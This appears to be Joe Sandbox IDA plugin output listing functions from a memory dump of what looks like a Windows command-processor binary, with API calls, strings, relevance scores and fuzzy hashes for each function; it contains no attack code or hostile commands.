Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Console$ModeWindow_get_osfhandle$InitializeUninitializememset
String ID: <
API String ID: 1664749912-4251816714
Opcode ID: ee5fa665b5898c385feb303c97c2c14385bcbbbfa7042aa089199f0dd5ddf300
Instruction ID: 7965f206aca9351c45bfb1fa3bc43a2df4162db19810af7ff0a3afe9e6b829bf
Opcode Fuzzy Hash: ee5fa665b5898c385feb303c97c2c14385bcbbbfa7042aa089199f0dd5ddf300
Instruction Fuzzy Hash: 3A312E75D01209AFCB11DFA9D8859DEBBF8EF88344F104016E815E7751EB709A45CB61

Function 00194D42 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,02000000,?), ref: 00194D66
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,UBR,00000000,?,?,?), ref: 00194D8A
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 00194D95

Strings

Software\Microsoft\Windows NT\CurrentVersion, xrefs: 00194D5C
UBR, xrefs: 00194D82
p~du, xrefs: 00194D95

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Software\Microsoft\Windows NT\CurrentVersion$UBR$p~du
API String ID: 3677997916-4160248025
Opcode ID: 8132b6dd298b11a67795e99f25d12150032dd8e55f3d2fde5ca3e547ce089daf
Instruction ID: 412f047ff928e61ad7c9c3feecd4df059fec958937f2cf48eccfef2db200b357
Opcode Fuzzy Hash: 8132b6dd298b11a67795e99f25d12150032dd8e55f3d2fde5ca3e547ce089daf
Instruction Fuzzy Hash: 9B011976A41218BBDF21DBD5DC49FEEBBF8EB94750F100566EA02A2144D370AA42DA50

Function 001981EC Relevance: 10.5, APIs: 7, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,000000FF,?,?,?,001B7FC9,?,001B99AE,00000000,?,00000000,001ACF94,00000000,?), ref: 00198203
GetExitCodeProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,000000FF,?,001B7FC9,?,001B99AE,00000000,?,00000000,001ACF94,00000000,?), ref: 0019820E
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,001B7FC9,?,001B99AE,00000000,?,00000000,001ACF94,00000000,?), ref: 00198229
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,001B7FC9,?,001B99AE,00000000,?,00000000,001ACF94,00000000,?), ref: 001AB0AB
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,001B7FC9,?,001B99AE,00000000,?,00000000,001ACF94,00000000,?), ref: 001AB0C1
fprintf.MSVCRT ref: 001AB0D5
fflush.MSVCRT ref: 001AB0E3

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CriticalSection$CloseCodeEnterExitHandleLeaveObjectProcessSingleWaitfflushfprintf
String ID:
API String ID: 4271573189-0
Opcode ID: ab8cdbeb6ea4260e1d814b16d42835578dc1bd591a1df47ebb7a5f326f3c480a
Instruction ID: 66f1a63a03c1ad12d620ab4bacc1a5c6b1f277ea19412f33307918898d13de04
Opcode Fuzzy Hash: ab8cdbeb6ea4260e1d814b16d42835578dc1bd591a1df47ebb7a5f326f3c480a
Instruction Fuzzy Hash: 6A01A230107210FFDB00ABA8ED0EEDA7BACAF06315F500246F421925F1CBB54680DB62

Function 001A3CD0 Relevance: 9.4, APIs: 6, Instructions: 438COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001A3D30

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00000000,?,?,-00000105,?,?,00000000), ref: 001A3E3D
??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,00000000), ref: 001A3E88

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$FullNamePath
String ID:
API String ID: 3158150540-0
Opcode ID: 2e9e48552ac3bdcfcb16ee19bb073dc33e7f582c66b3b9dc88d0f080100bc79a
Instruction ID: 1bd42cf8aba6d544506897a59875f681cefc1180e3d56a4f091cfb75eac8e07d
Opcode Fuzzy Hash: 2e9e48552ac3bdcfcb16ee19bb073dc33e7f582c66b3b9dc88d0f080100bc79a
Instruction Fuzzy Hash: 6802C439A011159BCB29DFA8DC957B9B3B1FF49310F1881EDE80A97294D734AE82CF50

Function 0019498F Relevance: 9.2, APIs: 6, Instructions: 157COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 001A858D
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 001A8595
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000002), ref: 001A85D4
_get_osfhandle.MSVCRT ref: 001A85ED
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 001A85F5

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Console$Write_get_osfhandle$Mode
String ID:
API String ID: 1066134489-0
Opcode ID: b021ec55864aa2685786547b78c4dc1bb08781c98c8172de68e9d8ad68d61875
Instruction ID: 003850e72884f045a768e4464c219fbe0d9f108ff8ae82fc5b9d83eb906fb93d
Opcode Fuzzy Hash: b021ec55864aa2685786547b78c4dc1bb08781c98c8172de68e9d8ad68d61875
Instruction Fuzzy Hash: 3341D175E002109BDF28EF78D989AAEB3A5EF55308F14456AEC06DB185EF70DD41CA50

Function 0019B7A8 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

_tell.MSVCRT ref: 0019B7F9
_close.MSVCRT ref: 0019B82C
memset.MSVCRT ref: 0019B8CC
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0(00007FE7), ref: 0019B936
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,001CC9F0), ref: 0019B947
??_V@YAXPAX@Z.MSVCRT(?), ref: 0019B96D

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ConsoleInfoOutput_close_tellmemset
String ID:
API String ID: 1380661413-0
Opcode ID: 74d8db952cd2193627f4cd175784698d115aca14c3a07ff537719c9adda1a264
Instruction ID: 82266e1a4b968af799066df4a2f6b4b2ccc118284fb51e240f93fb1dae808458
Opcode Fuzzy Hash: 74d8db952cd2193627f4cd175784698d115aca14c3a07ff537719c9adda1a264
Instruction Fuzzy Hash: BB4126709093008FDF34DF68E98872ABBE6BF95314F14092DE895976A0E734DC85CB92

Function 00197F47 Relevance: 9.1, APIs: 6, Instructions: 104COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00197F7C

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,-00000001,?,?,00000001), ref: 00197FC0
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00197FF3
??_V@YAXPAX@Z.MSVCRT(?,-00000001,?,?,00000001), ref: 0019800C
??_V@YAXPAX@Z.MSVCRT(?), ref: 001AB05A

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$DriveInformationTypeVolume
String ID:
API String ID: 285405857-0
Opcode ID: 35d53826b8d32b5b009320391ae0c477e95a5a85ba141a326a16bf8a188cbefe
Instruction ID: 42e013a62ec618cd8b1625b76fdf34dfc772a830a8b3bc3b65144ffc763896ae
Opcode Fuzzy Hash: 35d53826b8d32b5b009320391ae0c477e95a5a85ba141a326a16bf8a188cbefe
Instruction Fuzzy Hash: 0D318E72A01249ABDF24DFA4DC84AEF77B8FF0A344F04056AF401E2150DB38DA84CB21

Function 0019998D Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00199A11: _get_osfhandle.MSVCRT ref: 00199A1C
Part of subcall function 00199A11: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0019793A,00000104,?), ref: 00199A2B
Part of subcall function 00199A11: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374,-00000001), ref: 00199A47
Part of subcall function 00199A11: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,00000002,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374), ref: 00199A56
Part of subcall function 00199A11: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374), ref: 00199A61
Part of subcall function 00199A11: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374,-00000001), ref: 00199A6A

AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,?,?,?,001D0AF0,00000002,?,?,001AA669,%s %s ,?,?,00000000), ref: 001999DC
_get_osfhandle.MSVCRT ref: 001999EC
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,001AA669,%s %s ,?,?,00000000), ref: 001999F4
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04), ref: 00199A09

Part of subcall function 00199B3B: _get_osfhandle.MSVCRT ref: 00199B4E
Part of subcall function 00199B3B: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,001D0AF0,000000FF,001CA7F0,00002000,00000000,00000000), ref: 00199B8E
Part of subcall function 00199B3B: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,001CA7F0,-00000001,?,00000000), ref: 00199BA3

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: LockShared$_get_osfhandle$AcquireConsoleFileReleaseWrite$ByteCharHandleModeMultiTypeWide
String ID:
API String ID: 4057327938-0
Opcode ID: f1674ca1d5c28839f953c6318fd3395f97a897707124fb0266f1afa4722acd2c
Instruction ID: b7592af8f38ac698b7dddbae90aed8fa4dc2e35a41e541df6356651055cdf9d2
Opcode Fuzzy Hash: f1674ca1d5c28839f953c6318fd3395f97a897707124fb0266f1afa4722acd2c
Instruction Fuzzy Hash: 4D21E73A745311ABDB28ABB95D8AB7A2358DF55755F25003FF606D62C1EFA0CC0181A1

Function 00199B3B Relevance: 9.1, APIs: 6, Instructions: 88fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00199B4E
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,001D0AF0,000000FF,001CA7F0,00002000,00000000,00000000), ref: 00199B8E
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,001CA7F0,-00000001,?,00000000), ref: 00199BA3
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001D0AF0,?,?,00000000), ref: 001AC0BC
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,001D0AF0,00001000,001CA7F0,00002000,00000000,00000000,001D0AEE), ref: 001AC0DC
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,001CA7F0,00000000,?,00000000), ref: 001AC0FA

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
String ID:
API String ID: 3249344982-0
Opcode ID: 3967bda32c0ec1ef592cdfa3025e134ea58b87c54ddb6b67bd095e7f3eeddda4
Instruction ID: 46c6412c817f4bafc7e01e17c50d71587edeb6df320026fd15d9a3b833ec7bef
Opcode Fuzzy Hash: 3967bda32c0ec1ef592cdfa3025e134ea58b87c54ddb6b67bd095e7f3eeddda4
Instruction Fuzzy Hash: 8221A171A42205BFEF208F68AC49F7B7B7DEB04750F504029F902E2190E7749D40C761

Function 001B7540 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BCA7
Part of subcall function 0019BC30: iswspace.MSVCRT ref: 0019BD1D
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD39
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD5D

_wcsicmp.MSVCRT ref: 001B75AC
_wcsicmp.MSVCRT ref: 001B75CB
_wcsicmp.MSVCRT ref: 001B75F1

Strings

OFF, xrefs: 001B75C4, 001B75C9
LIST, xrefs: 001B75EB
KEYS, xrefs: 001B75DF

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsicmpwcschr$iswspace
String ID: KEYS$LIST$OFF
API String ID: 3924973218-4129271751
Opcode ID: 1a615f488e3ee597f4445c9ebd15cf002357589867c88ef31508b6109eb03b1e
Instruction ID: 68942589de121d65316804f2c7b1c61f709beff2509fd8001877dd3e046d5a83
Opcode Fuzzy Hash: 1a615f488e3ee597f4445c9ebd15cf002357589867c88ef31508b6109eb03b1e
Instruction Fuzzy Hash: C1117F3160D701ABE739A729EC8ACF773A8FFD4720365402FF506960C0EFA05A8182A5

Function 0019DD98 Relevance: 9.1, APIs: 6, Instructions: 61COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 0019DDA3
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001AC050), ref: 0019DDAD
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 0019DDD6
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,00000001), ref: 0019DDE5
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 0019DDF0
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04), ref: 0019DDF9

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 62c880a7190024a0c95d2685ff632b6e21b6cf093608898045a64058509a6b39
Instruction ID: b19c63e12885147cb2321f2d91cfdceacae7c26f2612ae9352e5e6b364a0f03a
Opcode Fuzzy Hash: 62c880a7190024a0c95d2685ff632b6e21b6cf093608898045a64058509a6b39
Instruction Fuzzy Hash: 5C110633C05214ABDF1187F8BD4CB7A3BE8EB46368F250616E815E28E0D7348D418A91

Function 00199A11 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00199A1C
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0019793A,00000104,?), ref: 00199A2B
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374,-00000001), ref: 00199A47
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,00000002,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374), ref: 00199A56
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374), ref: 00199A61
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374,-00000001), ref: 00199A6A

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: d03c4ca9ad2a3177cf0222c0871016028257cc289e7f116f2ac424673708c0b9
Instruction ID: c8b2c99ed7f8d052ed02a28d2b2d7c654c7355cfda8eae0617dbf8a51a0171de
Opcode Fuzzy Hash: d03c4ca9ad2a3177cf0222c0871016028257cc289e7f116f2ac424673708c0b9
Instruction Fuzzy Hash: 470186338060206B8E21977D9D4DD7E3B6CDB86775B65032AF837E35D0DB348D429592

Function 0019DA30 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 219COMMON

Download Yara Rule

APIs

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

memset.MSVCRT ref: 001AD954
longjmp.MSVCRT(001D0A70,000000FF,00000000,001C25C2,001C25C0,?,?,?,?,0019D980), ref: 001AD96D
memcpy.MSVCRT(?,00000000,00002000,00000000,001C25C2,001C25C0,?,?,?,?,0019D980), ref: 001AD987
longjmp.MSVCRT(001D0A70,000000FF,001C25C2,001C25C0,?,?,?,?,0019D980), ref: 001AD9D3

Strings

0123456789, xrefs: 0019DB25

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heaplongjmp$AllocProcessmemcpymemset
String ID: 0123456789
API String ID: 2034586978-2793719750
Opcode ID: 7852fb3263487aabc12c8126bbf7f551e1059ff3ef109e1a4ece98bcb67106de
Instruction ID: 574e54ab9d7f234d14c9235f3ba9890ead46814264f057bb7f5f9c6e76c48804
Opcode Fuzzy Hash: 7852fb3263487aabc12c8126bbf7f551e1059ff3ef109e1a4ece98bcb67106de
Instruction Fuzzy Hash: 01712535B002069BDF149F68EC45B6E77A1EF85300F68816DE846A7788EB71DD46CB90

Function 00195020 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00195074

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

??_V@YAXPAX@Z.MSVCRT(?,-00000001), ref: 0019515F

Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BCA7
Part of subcall function 0019BC30: iswspace.MSVCRT ref: 0019BD1D
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD39
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD5D

iswspace.MSVCRT ref: 001A9289

Strings

%s, xrefs: 0019513D

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$iswspacememset
String ID: %s
API String ID: 2220997661-3043279178
Opcode ID: ba432d62c7223dd62de96321922292fa57890afb587b097f4a063d12b526c5fa
Instruction ID: 72a76268178982195499660e2c63ec802693b655c633d87ed6a53561db8fb90c
Opcode Fuzzy Hash: ba432d62c7223dd62de96321922292fa57890afb587b097f4a063d12b526c5fa
Instruction Fuzzy Hash: 2051F475A01212ABCF24DFA89C4167EB3F5FF59300F28406EE845E7240EB309E81CB91

Function 001B70D6 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124memoryCOMMON

Download Yara Rule

APIs

RtlCreateUnicodeStringFromAsciiz.NTDLL(?,?), ref: 001B7121
GlobalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(00000040,00000000), ref: 001B7197
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?), ref: 001B71FF

Strings

%WINDOWS_COPYRIGHT%, xrefs: 001B7107

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Global$AllocAsciizCreateFreeFromStringUnicode
API String ID: 1103618819-4062316587
Opcode ID: 70ee1d07a0f9ce21a9d5334541733dca1ed4ff7114e1a4e0185abb49c27c9318
Instruction ID: 8dff26801422612b6ae2b4d3c3733d553543976efd1e2af3caf834225cd9d509
Opcode Fuzzy Hash: 70ee1d07a0f9ce21a9d5334541733dca1ed4ff7114e1a4e0185abb49c27c9318
Instruction Fuzzy Hash: 9841B539B012158BCF20DF6898517FA73B5AF88750F69046AE945EB390EB659E42C360

Function 001B2584 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000000,00000001,?,00000000,001F0003,?,?,?,?), ref: 001B2652
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B2670
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 001B2694

Strings

wil, xrefs: 001B26B8
_p0, xrefs: 001B25FF

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

